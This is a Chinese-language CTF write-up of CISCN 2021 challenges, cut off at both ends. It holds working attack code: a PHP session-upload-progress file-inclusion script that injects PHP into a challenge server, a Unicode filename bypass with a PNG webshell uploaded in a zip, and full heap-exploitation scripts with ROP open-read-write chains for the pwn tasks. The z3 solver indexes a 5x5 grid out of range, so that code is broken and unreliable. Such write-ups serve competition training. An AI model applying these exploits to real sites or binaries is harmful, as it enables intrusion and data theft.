盲猜它那是随着出现数值,时间会越来越久(指数级别),也就是说你硬等是等不出来的

Welcome to CISCN 2021!
Here is our free flag for you as a gift:
CISCN{4b445b3247c

印象中好像就到这里了,
先分析wtf
a1==a4-1是是否进入wtf循环的判断
这个nnn的算术式经动调发现只是不断+1,且0x10+1=0,即nnn在0-0x10之间取值,一共17个数
goooo函数是判断是否nnn变量要+1
把call wtf函数patch掉发现只会输出2222222222
main_main函数
v14经过函数传参发现肯定和wtf指数增长有关,同时数值的不断变大,也很好验证这点
byte_2239c0里面是ascii码表
动调下来发现参数为1 3 6 9 0A 0B 0C 0D 0E时对应的nnn值为2 3 2 2 6 3 4 0 2
猜测规律:(4(i-1)+2(i-1))%17
exp:

data = [0x54, 0x5E, 0x52, 0x4, 0x55, 5, 0x53, 0x5F, 0x50, 7, 0x54, 0x56, 0x51, 2, 3, 0]
d = [1,3,6,9,0x0A,0x0B,0x0C,0x0D,0x0E,0x0F,0x10,0x11,0x12,0x14,0x19,0x1E,0x28,0x42,0x66,0x0A0, 0x936,0x3D21,0x149A7,0x243AC,
0x0CB5BE,0x47DC61,0x16C0F46,0x262C432,0x4ACE299,0x10FBC92A,0x329ECDFD,0x370D7470]
flag=''
for j in d:
    flag+=chr(data[(4**(j-1)+2**(j-1))%17]^0x66)
print(flag)
#4b445b3247c45344c54c44734445452c

最终flag:CISCN{4b445b3247c45344c54c44734445452c}

场景实操--二阶卷

题目和分值明显就上升了一个档次,

Web

fliter

一道900分的,盲猜做不出来,

middle_source

拿到题目没啥思路,扫一下,扫到.listing,存在phpinfo文件

image-20210516153037489.png

符合session_upload.progress文件包含条件,参考:https://xz.aliyun.com/t/9545#toc-8,得知
session存放的位置var/lib/php/sessions/bcjjeaegfc
exp:

import io
import requests
import threading
sessid = 'whoami'
def POST(session):
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://124.70.34.66:23747/index.php',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?
=var_dump(scandir('/etc/adcfabcfeb/hghdjaadja/chagfbfiif/aeaebebaje/cabidgfcch/f
l444444g'))?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
with requests.session() as session:
while True:
POST(session)
print("[+] 成功写入sess_whoami")

使用标签绕过上传以及var_dump+scandir函数打印出目录下文件
python启动挂着

image-20210516153148791.png

浏览器不断发包直到显示出目录下文件

image-20210516153302553.png

找到一串随机生成的目录,一步步添加目录找下一级直到找到最终目录

/etc/adcfabcfeb/hghdjaadja/chagfbfiif/aeaebebaje/cabidgfcch/fl444444g(图上是第二
次做的,中间断了次环境,原来Session存放位置也不是这个)

再下一步读取的时候发现bool(false)
换成原来的普通文件包含得到flag

image-20210516153434970.png

upload

没做出来,赛后看yu师傅的,
扫描后台得到example.php
首先可以用下面内容绕过getimagesize

#define width 1
#define height 1

根据example.php中的代码要求,我们应该需要上传一个zip后缀的文件才可以利用

image-20210516162116044.png

但是前面把i字符给过滤了。
但是我们发现在生成文件名时用了mb_strtolower()函数。

image-20210516162141183.png

可以利用一些unicode字符绕过。经过测试发现:

<?php
var_dump(mb_strtolower('İ')==='i');
?>

输出结果为true。
并且前面还进行了url解密。所以可以用%c4%b0代替i字符。
为了可以绕过图片检查可以用如下脚本实现
https://github.com/huntergregal/PNG-IDAT-Payload-Generator/
修改脚本的payload部分
具体步骤如下
https://gchq.github.io/CyberChef/

image-20210516162239071.png

将得到的数据在010内修改:

image-20210516162322483.png

修改内容如下:

image-20210516162334397.png

复制出16进制

image-20210516162350576.png

修改payload下面的两处内容:

image-20210516162404437.png

生成图片马

image-20210516162417579.png

修改图片后缀为php然后压缩成zip

image-20210516162429049.png

上传文件并抓包,修改文件名并添加长度绕过的字符串。

image-20210516162440615.png

解压文件

image-20210516162450379.png

在example目录下得到解压的文件

image-20210516162458840.png

执行代码

image-20210516162514574.png

(BUU这题已有了复现环境)

Misc

隔空传话

开局一堆加密通话,谷歌搜索关键字符串找到相关文章:
合宙AT指令发送短信
归根结底就是pdu短信的一个编码,那就找到网站,挨个行进行转换吧
工具:

image-20210516163332625.png

逐一操作,获得如下字符内容:

image-20210516163419877.png

(截图往后都是十六进制,暂时先不管
从前两句可以知道这个意思是第一部分flag是前八个字符,但是后面的w465暂时就不知道是啥了
而且下面的十六进制数据丢入winhex可以发现有PNG的头

image-20210516163505072.png

那说明数据肯定是经过了混淆,然后在逐一转换的过程中,注意到时间并非为线性顺序,而是乱序

image-20210516163559637.png

此处是第一张图的段落在第二张图段落的前面,可是转换后的时间却不是,那说明需要进行转换,将数据按照时间顺序排序才可以
此处在github上pull一个脚本

tools/Misc/PCRT_PNG at f1542a2c1c0bf79b89a74f9cfffec2393c2e6ab3 · developer-hsm/tools (github.com)

该脚本可以将png的zlib直接进行修复,免去写时间然后排序的麻烦事(是非预期

image-20210516163645348.png

直接binwalk前面的一堆16进制转好的原图

把zlib提取出,使用上述脚本

python2 PCRT.py -d 5B.zlib

即可恢复出完整数据,丢入winhex转换成图片即可
前面的w465代表的是宽度为465
改一下宽度,获得图片:

image-20210516163757641.png

最后拼接得到flag
flag:CISCN{15030442_b586_4c9e_b436_26def12293e4}

Pwn

silverwolf

exp:

from pwn import*
def menu(ch):
    p.sendlineafter('choice:',str(ch))
def add(size):
    menu(1)
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Size:',str(size))
def edit(content):
    menu(2)
    p.sendlineafter('Index:',str(0))
    p.sendlineafter('Content:',content)
def show():
    menu(3)
    p.sendlineafter('Index:',str(0))
def free():
    menu(4)
    p.sendlineafter('Index:',str(0))
p = process('./silverwolf')
libc = ELF('./libc-2.27.so')
for i in range(7):
    add(0x78)
    edit('./flag\x00')
for i in range(2):
    edit('\x00'*0x10)
    free()
show()
p.recvuntil('Content: ')
heap_base = u64(p.recv(6).ljust(8,'\x00'))  - 0x5B0 - 0x940 - 0x70
log.info('HEAP:\t' + hex(heap_base))
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit('\x00'*0x23 + '\x07')
free()
show()
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70
log.info('LIBC:\t' + hex(libc_base))

edit('\x03'*0x40 + p64(libc_base + libc.sym['__free_hook']) + '\x00'*8*1 + p64(heap_base + 0x4000) + p64(heap_base + 0x3000 + 0x60) + p64(heap_base + 0x1000) + p64(heap_base + 0x10A0) + p64(heap_base + 0x3000))
add(0x18)

########################
pop_rdi_ret = libc_base + 0x00000000000215BF
pop_rdx_ret = libc_base + 0x0000000000001B96
pop_rax_ret = libc_base + 0x0000000000043AE8
pop_rsi_ret = libc_base + 0x0000000000023EEA
ret = libc_base + 0x00000000000008AA
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
syscall = Read + 15
FLAG  = heap_base + 0x4000
gadget = libc_base + libc.sym['setcontext'] + 53

orw  = p64(pop_rdi_ret) + p64(FLAG)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base  + 0x3000)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)

#############################
edit(p64(gadget))
add(0x38)
edit('./flag\x00')
add(0x78)
edit(orw[:0x60])
add(0x48)
edit(orw[0x60:])
add(0x68)
edit(p64(heap_base + 0x3000) + p64(pop_rdi_ret + 1))
add(0x58)
free()
p.interactive()

game(*)

fmyy师傅给我分析了一波,但是困困,以后回来补,先贴个exp
vmpwn 分析每一次输入的指令格式
exp:

from pwn import*
#context.log_level = 'DEBUG'
def RUN(payload):
    p.sendlineafter('cmd> ',str(payload))

def init(L,W):
    RUN( 'OP:' + '1' + '\n' + 'L:' + str(L) + '\n' +  'W:' + str(W) + '\n')
def create(ID,Size,des):
    RUN( 'OP:' + '2' + '\n' + 'ID:' + str(ID) + '\n' +  's:' + str(Size) + '\n')
    p.sendafter('desc> ',des)
def free(ID):
    RUN( 'OP:' + '3' + '\n' + 'ID:' + str(ID) + '\n')
def show():
    RUN( 'OP:' + '4' + '\n')
def up(ID):
    RUN( 'OP:' + '5' + '\n' + 'ID:' + str(ID) + '\n')
def down(ID):
    RUN( 'OP:' + '6' + '\n' + 'ID:' + str(ID) + '\n')
def left(ID):
    RUN( 'OP:' + '7' + '\n' + 'ID:' + str(ID) + '\n')
def right(ID):
    RUN( 'OP:' + '8' + '\n' + 'ID:' + str(ID) + '\n')
p = process('./game')
#p = remote('',)
libc = ELF('./libc-2.27.so')
init(0x10,0x10)
create(0x6,0x3F0,'FMYY')
right(0x6)
right(0x6)
for i in range(10):
    down(0x6)
create(0x99,0x3F0,'\x00'*0x1F8 + p64(0x201))
free(0x6)
create(1,0x380,'\xA0')
show()
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym['__malloc_hook'] - 0x70 - 0x500
log.info('LIBC:\t' + hex(libc_base))

create(9,0x10,'\xA0')
show()

p.recvuntil('9: (10,12) ')
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0xDA0  - 0x1400 + 0x400
log.info('HEAP:\t' + hex(heap_base))

free(0x99)
create(2,0x230,'\x00'*0x38 + p64(0x401) + p64(heap_base + 0x10))

###################
pop_rdi_ret = libc_base + 0x000000000002155f
pop_rdx_ret = libc_base + 0x0000000000001b96
pop_rax_ret = libc_base + 0x0000000000043a78
pop_rsi_ret = libc_base + 0x0000000000023e8a
ret = libc_base + 0x00000000000008AA
Open = libc_base + libc.sym['open']
Read = libc_base + libc.sym['read']
Write = libc_base + libc.sym['write']
syscall = Read + 15
FLAG  = heap_base + 0x10 + 0xA0 + 0x10 + 0x88

orw  = p64(pop_rdi_ret) + p64(FLAG)
orw += p64(pop_rsi_ret) + p64(0)
orw += p64(pop_rax_ret) + p64(2)
orw += p64(syscall)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rsi_ret) + p64(heap_base  + 0x3000)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(Read)
orw += p64(pop_rdi_ret) + p64(1)
orw += p64(Write)
###################
create(7,0x3F0,'FMYY')
create(8,0x3F0,'\x00'*7 + '\x01' + '\x00'*0x38 +'\x00'*8*7 + p64(libc_base + libc.sym['__free_hook'])  + '\x00'*0x20 + p64(heap_base + 0x10 + 0xA0 + 0x10) + p64(pop_rdi_ret + 1) + orw + './flag\x00')

create(3,0x80,p64(libc_base + libc.sym['setcontext'] + 53))

free(8)

p.interactive()

Reverse

baby_bc

参考文章:
How to make llvm .bc file executable? – Stack Overflow

llc -filetype=obj my-file.bc
gcc my-file.o
./a.out

直接照着打就完事了

输出内容导入ida,可以看出这是个数独直接解就行了,然后填符合要求的0-5数字最后直接上z3爆破

rowss = [[0x00, 0x00, 0x00, 0x01],[0x01, 0x00, 0x00, 0x00], [0x02, 0x00, 0x00, 0x01], [0x00, 0x00, 0x00, 0x00], [0x01, 0x00, 0x01, 0x00]]
colnms = [[0x00, 0x00, 0x02, 0x00,0x02], [0x00, 0x00, 0x00, 0x00, 0x00], [0x00, 0x00, 0x00, 0x01, 0x00], [0x00, 0x01, 0x00, 0x00, 0x01]]
from z3 import *
from hashlib import md5
s = Solver()
map = [[None]*5,[None]*5,[None]*5,[None]*5,[None]*5,]
for i in range(5):
    for j in range(5):
        map[i][j]=(Int("x%d%d"%(i, j)))
print(map)
s.add(map[2][39] == 4)
s.add(map[3][40] == 3)
for i in range(5):
    for j in range(5):
        s.add(map[i][j] >= 1)
        s.add(map[i][j] <= 5)
for i in range(5):
    for j in range(5):
        for k in range(j):
            s.add(map[i][j] != map[i][k])
for j in range(5):
    for i in range(5):
        for k in range(i):
            s.add(map[i][j] != map[k][j])
for i in range(5):
    for j in range(4):
        if rowss[i][j] == 1:
            s.add(map[i][j] > map[i][j+1])
        elif rowss[i][j] == 2:
            s.add(map[i][j] < map[i][j+1])
for i in range(4):
    for j in range(5):
        if colnms[i][j] == 2:
            s.add(map[i][j] > map[i+1][j])
        elif colnms[i][j] == 1:
            s.add(map[i][j] < map[i+1][j])
answer = s.check()
if answer == sat:
    print(s.model())
    m = s.model()
    flag = []
    for i in map:
        for j in i:
            flag.append(m[j].as_long())
    for i in range(len(flag)):
        flag[i] += 0x30
    flag[12] = 0x30
    flag[18] = 0x30
    flag = bytes(flag)
    print(md5(flag).hexdigest())

little_evil

Crypto

move

较为简单的题,丢入sage跑就行了

A=matrix(ZZ,2,[2**512,0,67595664083683668964629173652731210158790440033379175857028564313854014366016864587830963691802591775486321717360190604997584315420339351524880699113147436604350832401671422613906522464334532396034178284918058690365507263856479304019153987101884697932619200538492228093521576834081916538860988787322736613809,80263253261445006152401958351371889864136455346002795891511487600252909606767728751977033280031100015044527491214958035106007038983560835618126173948587479951247946411421106848023637323702085026892674032294882180449860010755423988302942811352582243198025232225481839705626921264432951916313817802968185697281])
A = A.LLL()
B = A.transpose()
C = B.LLL()
C = -C
x = 0x3a19a367657a5c8ee46cebe63688f386eaaee9be4f57606584230eddcca53bb4#hex(C[0][0]>>512)
e = 67595664083683668964629173652731210158790440033379175857028564313854014366016864587830963691802591775486321717360190604997584315420339351524880699113147436604350832401671422613906522464334532396034178284918058690365507263856479304019153987101884697932619200538492228093521576834081916538860988787322736613809
n = 80263253261445006152401958351371889864136455346002795891511487600252909606767728751977033280031100015044527491214958035106007038983560835618126173948587479951247946411421106848023637323702085026892674032294882180449860010755423988302942811352582243198025232225481839705626921264432951916313817802968185697281
y = e*x//n
k = e*x-y*n
K = k//y
l,r = 0,K
for i in range(515):
    s=(l+r)//2
    v=s*s-int(s*s*9*(K-1-s)*(K-1-s))//(round(n**0.25)*round(n**0.25))
    if v<4*n:
        l=s
    else:
        r=s
pandq=r
d = inverse_mod(e,n+pandq+1)
Cx= 6785035174838834841914183175930647480879288136014127270387869708755060512201304812721289604897359441373759673837533885681257952731178067761309151636485456082277426056629351492198510336245951408977207910307892423796711701271285060489337800033465030600312615976587155922834617686938658973507383512257481837605
Cy= 38233052047321946362283579951524857528047793820071079629483638995357740390030253046483152584725740787856777849310333417930989050087087487329435299064039690255526263003473139694460808679743076963542716855777569123353687450350073011620347635639646034793626760244748027610309830233139635078417444771674354527028
b=(Cy**2-Cx**3)%n
E=EllipticCurve(Zmod(n), [0, b])
C=E(Cx,Cy)
P=d*C
print(P)

得到(1500537458076802315061673741609048809282155574 :293348288331056197202496342835702240774641366909 : 1) 然后将前两个longtobytes拼接得到flag
flag:CISCN{e91fef4ead7463b13d00bda65f540477}

imageencrypt

下载题目,out内为testimage原图、加密后的像素,flagimage加密后的像素
分析chall.py

# *encoding:utf-8*
import random
import numpy as np
import hashlib
data = []
# flag = 'CISCN{' + md5.new(data).hexdigest()
# from flag import flag,image,r,key1,key2
# testimage数据
mpix = [205, 237, 6, 158, 24, 119, 213, 32, 74, 151, 142, 186, 57, 28, 113, 62,
165, 20, 190, 37, 159, 137, 196, 44, 97, 37, 7, 222, 220, 95, 4, 66, 0, 28, 199,
142, 95, 105, 119, 232, 250, 215, 60, 162, 91, 211, 63, 30, 91, 108, 217, 206,
80, 193, 230, 42, 221, 71, 136, 115, 22, 176, 91, 57, 61, 3, 87, 73, 250, 121,
51, 72, 83, 120, 77, 199, 236, 190, 249, 116, 45, 6, 134, 110, 149, 94, 214,
232, 153, 213, 119, 98, 81, 203, 240, 114, 240, 29, 122, 188, 156, 53, 128, 185,
40, 147, 245, 204, 47, 101, 80, 229, 41, 150, 28, 195, 25, 235, 119, 6, 192, 8,
73, 255, 159, 172, 77, 94, 254, 104, 236, 219, 141, 91, 195, 162, 97, 56, 252,
173, 163, 43, 167, 214, 50, 73, 115, 190, 254, 53, 61, 77, 138, 192, 15, 4, 190,
27, 37, 108, 101, 135, 90, 215, 106, 243, 112, 111, 106, 89, 143, 150, 185, 142,
192, 176, 48, 138, 164, 185, 61, 77, 72, 0, 17, 203, 210, 71, 186, 49, 162, 250,
218, 219, 195, 63, 248, 220, 155, 180, 219, 132, 219, 94, 144, 247, 211, 95, 70,
227, 222, 31, 69, 24, 13, 216, 185, 108, 137, 57, 186, 211, 55, 27, 158, 241,
223, 21, 134, 106, 152, 127, 187, 245, 246, 131, 176, 177, 228, 100, 112, 11,
84, 61, 193, 42, 41, 69, 229, 145, 254, 138, 3, 153, 123, 31]
cpix = [131, 92, 72, 47, 177, 57, 131, 118, 4, 38, 192, 19, 119, 82, 63, 143,
235, 165, 15, 140, 209, 223, 117, 133, 47, 148, 81, 144, 138, 246, 173, 235,
177, 181, 110, 39, 9, 192, 57, 166, 180, 153, 141, 19, 234, 157, 142, 80, 234,
197, 151, 152, 249, 143, 176, 155, 147, 17, 57, 194, 191, 254, 13, 144, 140, 85,
25, 248, 172, 208, 154, 249, 5, 201, 27, 137, 69, 23, 175, 34, 156, 72, 208, 32,
195, 16, 127, 65, 207, 131, 57, 203, 7, 98, 89, 36, 65, 75, 211, 21, 45, 132,
214, 239, 102, 58, 68, 130, 97, 204, 225, 76, 152, 216, 74, 149, 79, 165, 198,
72, 150, 94, 7, 177, 46, 226, 252, 247, 79, 62, 69, 106, 60, 21, 106, 236, 47,
145, 170, 28, 18, 101, 14, 152, 131, 7, 37, 15, 168, 99, 115, 27, 220, 150, 89,
82, 232, 170, 107, 221, 212, 46, 235, 129, 36, 66, 217, 222, 36, 15, 217, 192,
247, 192, 113, 230, 129, 196, 13, 247, 148, 228, 225, 86, 71, 133, 132, 238,
236, 127, 11, 83, 107, 141, 114, 150, 182, 146, 213, 250, 141, 53, 114, 16, 198,
70, 133, 17, 247, 173, 136, 73, 236, 78, 188, 150, 239, 58, 199, 136, 11, 122,
134, 77, 47, 167, 137, 188, 55, 195, 41, 49, 245, 92, 160, 213, 254, 0, 85, 205,
193, 69, 2, 140, 143, 155, 127, 236, 179, 199, 168, 35, 85, 40, 45, 174]
# 由
# 3 cpix = (~mpix^k2)&0xff
# 2 cpix = (mpix^key2)&0xff
# 1 cpix = (~mpix^key1)&0xff
# 0 cpix = (mpix^key1)&0xff
# 得出
# 3 cpix = (mpix^k2^0xff)&0xff => cpix ^ mpix = k2^0xff
# 2 cpix = (mpix^key2)&0xff => cpix ^ mpix = k2
# 1 cpix = (~mpix^key1)&0xff => cpix ^ mpix = k1^0xff
# 0 cpix = (mpix^key1)&0xff => cpix ^ mpix = k1
# 则
key = []
for x,y in zip(cpix,mpix):
key.append(x^y)
print(key)
# 得出有[78,177,169,86]四种结果,分析得到[78,177],[169,86]两组值
#
# 由generate(x)函数,经过测试,得到key1 = 169, key2 = 78 ,r = 1.2
r = 1.2
key1 = 169
key2 = 78
# assert(flag[:5]=='CISCN')
assert(len(str(r))==3)
# data = ''.join(map(chr,image))
# assert(flag[6:-1] == md5.new(data).hexdigest())
assert(key1<256)
assert(key2<256)
def generate(x):
return round(r*x*(3-x),6)
def encrypt(pixel,key1,key2,x0,m,n):
num = m*n/8
seqs = []
x = x0
bins = ''
tmp = []
for i in range(int(num)):
x = generate(x)
tmp.append(x)
seqs.append(int(x*22000))
# print(len(seqs))
for x in seqs:
bin_x = bin(x)[2:]
if len(bin_x) < 16:
bin_x = '0'*(16-len(bin_x))+bin_x
assert len(bin_x) == 16
bins += bin_x
# print(bins)
assert(len(pixel) == m*n)
cipher = [ 0 for i in range(m) for j in range(n)]
for i in range(m):
for j in range(n):
index = n*i+j
ch = int(bins[2*index:2*index+2],2)
pix = pixel[index]
if ch == 0:
pix = (pix^key1)&0xff
if ch == 1:
pix = (~pix^key1)&0xff
if ch == 2:
pix = (pix^key2)&0xff
if ch == 3:
pix = (~pix^key2)&0xff
cipher[index] = pix
return cipher
# 根据testimage加密结果,爆破最佳x0取值
testimage = [205, 237, 6, 158, 24, 119, 213, 32, 74, 151, 142, 186, 57, 28, 113,
62, 165, 20, 190, 37, 159, 137, 196, 44, 97, 37, 7, 222, 220, 95, 4, 66, 0, 28,
199, 142, 95, 105, 119, 232, 250, 215, 60, 162, 91, 211, 63, 30, 91, 108, 217,
206, 80, 193, 230, 42, 221, 71, 136, 115, 22, 176, 91, 57, 61, 3, 87, 73, 250,
121, 51, 72, 83, 120, 77, 199, 236, 190, 249, 116, 45, 6, 134, 110, 149, 94,
214, 232, 153, 213, 119, 98, 81, 203, 240, 114, 240, 29, 122, 188, 156, 53, 128,
185, 40, 147, 245, 204, 47, 101, 80, 229, 41, 150, 28, 195, 25, 235, 119, 6,
192, 8, 73, 255, 159, 172, 77, 94, 254, 104, 236, 219, 141, 91, 195, 162, 97,
56, 252, 173, 163, 43, 167, 214, 50, 73, 115, 190, 254, 53, 61, 77, 138, 192,
15, 4, 190, 27, 37, 108, 101, 135, 90, 215, 106, 243, 112, 111, 106, 89, 143,
150, 185, 142, 192, 176, 48, 138, 164, 185, 61, 77, 72, 0, 17, 203, 210, 71,
186, 49, 162, 250, 218, 219, 195, 63, 248, 220, 155, 180, 219, 132, 219, 94,
144, 247, 211, 95, 70, 227, 222, 31, 69, 24, 13, 216, 185, 108, 137, 57, 186,
211, 55, 27, 158, 241, 223, 21, 134, 106, 152, 127, 187, 245, 246, 131, 176,
177, 228, 100, 112, 11, 84, 61, 193, 42, 41, 69, 229, 145, 254, 138, 3, 153,
123, 31]
c1 = [131, 92, 72, 47, 177, 57, 131, 118, 4, 38, 192, 19, 119, 82, 63, 143, 235,
165, 15, 140, 209, 223, 117, 133, 47, 148, 81, 144, 138, 246, 173, 235, 177,
181, 110, 39, 9, 192, 57, 166, 180, 153, 141, 19, 234, 157, 142, 80, 234, 197,
151, 152, 249, 143, 176, 155, 147, 17, 57, 194, 191, 254, 13, 144, 140, 85, 25,
248, 172, 208, 154, 249, 5, 201, 27, 137, 69, 23, 175, 34, 156, 72, 208, 32,
195, 16, 127, 65, 207, 131, 57, 203, 7, 98, 89, 36, 65, 75, 211, 21, 45, 132,
214, 239, 102, 58, 68, 130, 97, 204, 225, 76, 152, 216, 74, 149, 79, 165, 198,
72, 150, 94, 7, 177, 46, 226, 252, 247, 79, 62, 69, 106, 60, 21, 106, 236, 47,
145, 170, 28, 18, 101, 14, 152, 131, 7, 37, 15, 168, 99, 115, 27, 220, 150, 89,
82, 232, 170, 107, 221, 212, 46, 235, 129, 36, 66, 217, 222, 36, 15, 217, 192,
247, 192, 113, 230, 129, 196, 13, 247, 148, 228, 225, 86, 71, 133, 132, 238,
236, 127, 11, 83, 107, 141, 114, 150, 182, 146, 213, 250, 141, 53, 114, 16, 198,
70, 133, 17, 247, 173, 136, 73, 236, 78, 188, 150, 239, 58, 199, 136, 11, 122,
134, 77, 47, 167, 137, 188, 55, 195, 41, 49, 245, 92, 160, 213, 254, 0, 85, 205,
193, 69, 2, 140, 143, 155, 127, 236, 179, 199, 168, 35, 85, 40, 45, 174]
# 爆破得到x0
for x0 in np.arange(0, 0.999999, 0.000001):
x0 = round(x0,6)
entest = encrypt(testimage,key1,key2,x0,16,16)
if (entest == c1):
print(x0) # x0 = 0.840264
break
entest = encrypt(testimage,key1,key2,x0,16,16)
# print encrypt(en,key1,key2,x0,16,16)
c2 = [198, 143, 247, 3, 152, 139, 131, 84, 181, 180, 252, 177, 192, 25, 217,
179, 136, 107, 190, 62, 4, 6, 90, 53, 105, 238, 117, 44, 5, 116, 132, 195, 214,
171, 113, 209, 18, 31, 194, 174, 228, 212, 196, 14, 27, 41, 211, 56, 139, 135,
225, 214, 89, 122, 178, 212, 185, 231, 204, 150, 204, 212, 160, 142, 213, 173,
186, 166, 65, 238, 5, 32, 45, 31, 25, 189, 148, 38, 78, 79, 33, 56, 227, 48,
103, 163, 31, 189, 37, 124, 106, 249, 86, 188, 86, 233, 41, 250, 89, 7, 212,
234, 111, 104, 245, 102, 227, 96, 160, 67, 181, 13, 26, 192, 214, 210, 188, 84,
216, 215, 243, 72, 233, 2, 122, 166, 107, 251, 70, 128, 94, 190, 185, 210, 34,
85, 77, 29, 182, 77, 115, 208, 228, 252, 73, 198, 151, 70, 10, 97, 138, 235, 21,
117, 239, 102, 129, 2, 253, 80, 53, 61, 184, 220, 41, 82, 37, 140, 23, 143, 179,
53, 153, 113, 213, 211, 111, 197, 248, 65, 60, 69, 1, 81, 48, 254, 251, 89, 195,
8, 93, 190, 66, 174, 97, 175, 210, 191, 66, 112, 123, 128, 33, 230, 237, 104,
16, 192, 239, 173, 44, 10, 120, 231, 114, 151, 140, 63, 103, 44, 243, 222, 242,
73, 51, 46, 98, 137, 163, 152, 147, 95, 223, 3, 15, 112, 85, 215, 133, 131, 240,
239, 224, 195, 140, 124, 70, 156, 221, 241, 37, 245, 1, 99, 9, 157, 99, 150, 47,
118, 225, 16, 13, 141, 135, 99, 18, 119, 63, 160, 6, 247, 27, 68, 45, 199, 86,
193, 252, 21, 135, 32, 42, 103, 114, 241, 49, 249, 182, 52, 18, 155, 157, 61, 4,
246, 158, 52, 118, 242, 195, 54, 139, 232, 100, 31, 11, 233, 58, 100, 101, 137,
83, 145, 209, 7, 241, 96, 57, 148, 207, 29, 237, 124, 177, 166, 161, 20, 116,
122, 61, 71, 46, 82, 18, 157, 253, 130, 112, 66, 94, 57, 221, 243, 222, 192,
147, 5, 130, 201, 174, 26, 160, 16, 188, 103, 187, 11, 238, 182, 144, 4, 137,
33, 84, 100, 7, 239, 219, 83, 112, 189, 166, 58, 93, 141, 30, 198, 220, 196,
118, 172, 5, 45]
# 用得到的key1,key2,x0,再次加密的到flag
m2 = encrypt(c2,key1,key2,x0,24,16)
data = ''.join(map(chr,m2))
print hashlib.md5(data).hexdigest()
# 7fa176002ced947e49f1752c1eb9dd62

image-20210516165319010.png

flag值:CISCN{7fa176002ced947e49f1752c1eb9dd62}

场景实操--冲刺卷

这就更离谱了,这个pwn倒是有时间做,但是还是做不出来,题目难度的话个人觉得的话还是难(毕竟自己太菜了)

Web

名字暂时也给忘了,反正没解出来
爆0,在大半夜的时候说着等着做出来的人数多了再尝试,(期间也尝试了一下,也就浅尝辄止,并不抱希望做出来的那种,毕竟分值那么高解出来的人又少)

Misc

rebot

具体思路就是:追踪tcp流可以发现存在[a,b,c]这样形式的坐标点,然后就是提取数据,最后画图即可。
exp:

import re
import matplotlib.pyplot as plt

# res = []
# f = open('1.txt', 'r')
# while True:
#     data = f.readline()
#     if len(data) == 0:
#         break
#     tmp = re.findall('\\[\\d+\\,\\d+\\,\\d+\\]', data)
#     if tmp != []:
#         print(tmp)
#         res += tmp
# f.close()
# print(res)

res = [[27, 36, 0], [28, 35, 0], [29, 35, 0], [31, 35, 0], [32, 35, 0], [33, 35, 0], [35, 35, 0], [36, 35, 0], [37, 35, 0], [39, 34, 0], [40, 34, 0], [41, 33, 0], [42, 32, 0], [43, 32, 0], [45, 32, 0], [47, 31, 0], [48, 29, 0], [49, 28, 0], [49, 27, 0], [50, 26, 0], [50, 25, 0], [51, 23, 0], [51, 22, 0], [51, 21, 0], [52, 20, 0], [52, 19, 0], [52, 18, 0], [52, 17, 0], [52, 16, 0], [52, 15, 0], [51, 14, 0], [50, 14, 0], [49, 14, 0], [48, 14, 0], [47, 14, 0], [46, 14, 0], [45, 14, 0], [44, 14, 0], [43, 14, 0], [42, 14, 0], [40, 14, 0], [39, 14, 0], [37, 14, 0], [35, 14, 0], [34, 14, 0], [32, 14, 0], [30, 14, 0], [28, 14, 0], [27, 14, 0], [26, 14, 0], [25, 14, 0], [24, 14, 0], [23, 14, 0], [22, 14, 0], [21, 15, 0], [20, 16, 0], [19, 17, 0], [18, 19, 0], [18, 21, 0], [18, 22, 0], [18, 23, 0], [18, 24, 0], [18, 26, 0], [18, 27, 0], [18, 28, 0], [18, 30, 0], [18, 32, 0], [18, 33, 0], [18, 34, 0], [19, 37, 0], [21, 39, 0], [21, 40, 0], [22, 42, 0], [24, 44, 0], [24, 45, 0], [26, 47, 0], [27, 48, 0], [28, 49, 0], [29, 50, 0], [30, 51, 0], [31, 52, 0], [33, 53, 0], [34, 53, 0], [35, 54, 0], [36, 54, 0], [37, 54, 0], [38, 54, 0], [39, 54, 0], [40, 54, 0], [41, 54, 0], [44, 54, 0], [46, 54, 0], [48, 54, 0], [50, 54, 0], [52, 53, 0], [53, 53, 0], [54, 52, 0], [55, 52, 0], [56, 52, 0], [58, 51, 0], [59, 50, 0], [61, 49, 0], [62, 49, 0], [64, 47, 0], [65, 47, 0], [67, 46, 0], [68, 46, 0], [70, 45, 0], [71, 44, 0], [71, 44, -10], [125, 23, 0], [125, 23, 0], [124, 22, 0], [123, 22, 0], [121, 21, 0], [118, 20, 0], [115, 19, 0], [113, 19, 0], [112, 18, 0], [111, 18, 0], [109, 17, 0], [106, 16, 0], [104, 16, 0], [103, 16, 0], [102, 15, 0], [101, 15, 0], [100, 15, 0], [99, 15, 0], [98, 15, 0], [97, 15, 0], [96, 15, 0], [95, 15, 0], [94, 15, 0], [93, 15, 0], [92, 15, 0], [91, 15, 0], [89, 15, 0], [87, 17, 0], [85, 18, 0], [85, 19, 0], [84, 21, 0], [83, 21, 0], [82, 22, 0], [82, 23, 0], [81, 24, 0], [81, 26, 0], [80, 28, 0], [80, 29, 0], [80, 31, 0], [80, 32, 0], [79, 34, 0], [79, 35, 0], [79, 37, 0], [79, 39, 0], [79, 41, 0], [79, 43, 0], [79, 44, 0], [79, 46, 0], [79, 47, 0], [80, 48, 0], [81, 49, 0], [82, 50, 0], [84, 50, 0], [87, 51, 0], [88, 51, 0], [90, 51, 0], [91, 51, 0], [93, 51, 0], [94, 51, 0], [97, 51, 0], [100, 50, 0], [101, 49, 0], [102, 49, 0], [103, 48, 0], [105, 46, 0], [106, 45, 0], [108, 43, 0], [109, 42, 0], [110, 41, 0], [111, 